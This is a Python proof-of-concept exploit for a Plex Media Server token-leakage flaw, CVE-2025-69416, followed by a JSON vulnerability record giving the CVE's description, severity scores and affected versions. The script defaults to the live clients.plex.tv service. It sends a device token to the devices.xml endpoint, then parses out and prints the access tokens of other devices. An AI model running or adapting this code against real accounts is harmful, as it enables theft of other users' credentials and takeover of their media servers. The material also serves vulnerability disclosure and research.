CVE-2025-69416

# CVE-2025-69416 PoC - Plex Media Server Token Leakage # Author: Security Researcher # Date: 2026-01-02 import requests import xml.etree.ElementTree as ET import argparse def exploit_cve_2025_69416(base_url, device_token): """ Exploit for CVE-2025-69416: Plex Media Server token leakage Non-server device token can retrieve other tokens via clients.plex.tv/devices.xml """ headers = { 'X-Plex-Device-Name': 'ExploitDevice', 'X-Plex-Device-Vendor': 'SecurityTest', 'X-Plex-Token': device_token, 'X-Plex-Client-Identifier': 'exploit-test-12345', 'Accept': 'application/xml' } # Target endpoint that leaks tokens target_url = f'{base_url}/devices.xml' try: print(f'[*] Sending request to: {target_url}') print(f'[*] Using device token: {device_token[:20]}...') response = requests.get(target_url, headers=headers, timeout=30) if response.status_code == 200: print('[+] Request successful - parsing response...') # Parse XML response to extract tokens root = ET.fromstring(response.content) leaked_tokens = [] for device in root.findall('.//Device'): token = device.get('token') name = device.get('name', 'Unknown') client_id = device.get('clientIdentifier', 'Unknown') if token: leaked_tokens.append({ 'name': name, 'client_id': client_id, 'token': token }) print(f'[+] Leaked token for device: {name}') print(f' Token: {token}') if leaked_tokens: print(f'\n[!] Successfully leaked {len(leaked_tokens)} tokens') return leaked_tokens else: print('[-] No tokens found in response') return None else: print(f'[-] Request failed with status: {response.status_code}') return None except requests.exceptions.RequestException as e: print(f'[-] Request error: {str(e)}') return None def main(): parser = argparse.ArgumentParser(description='CVE-2025-69416 PoC') parser.add_argument('--url', default='https://clients.plex.tv', help='Base URL') parser.add_argument('--token', required=True, help='Valid device token') args = parser.parse_args() print('=' * 60) print('CVE-2025-69416 - Plex Media Server Token Leakage') print('=' * 60) exploit_cve_2025_69416(args.url, args.token) if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-69416", "sourceIdentifier": "[email protected]", "published": "2026-01-02T17:16:24.083", "lastModified": "2026-02-27T15:08:18.377", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "In the plex.tv backend for Plex Media Server (PMS) through 2025-12-31, a non-server device token can retrieve other tokens (intended for unrelated access) via clients.plex.tv/devices.xml."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plex:media_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.43.0.10389", "matchCriteriaId": "19041920-FA20-41C9-801F-6A402B9F0DD5"}]}]}], "references": [{"url": "https://github.com/lufinkey/vulnerability-research/blob/main/CVE-2025-34158/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}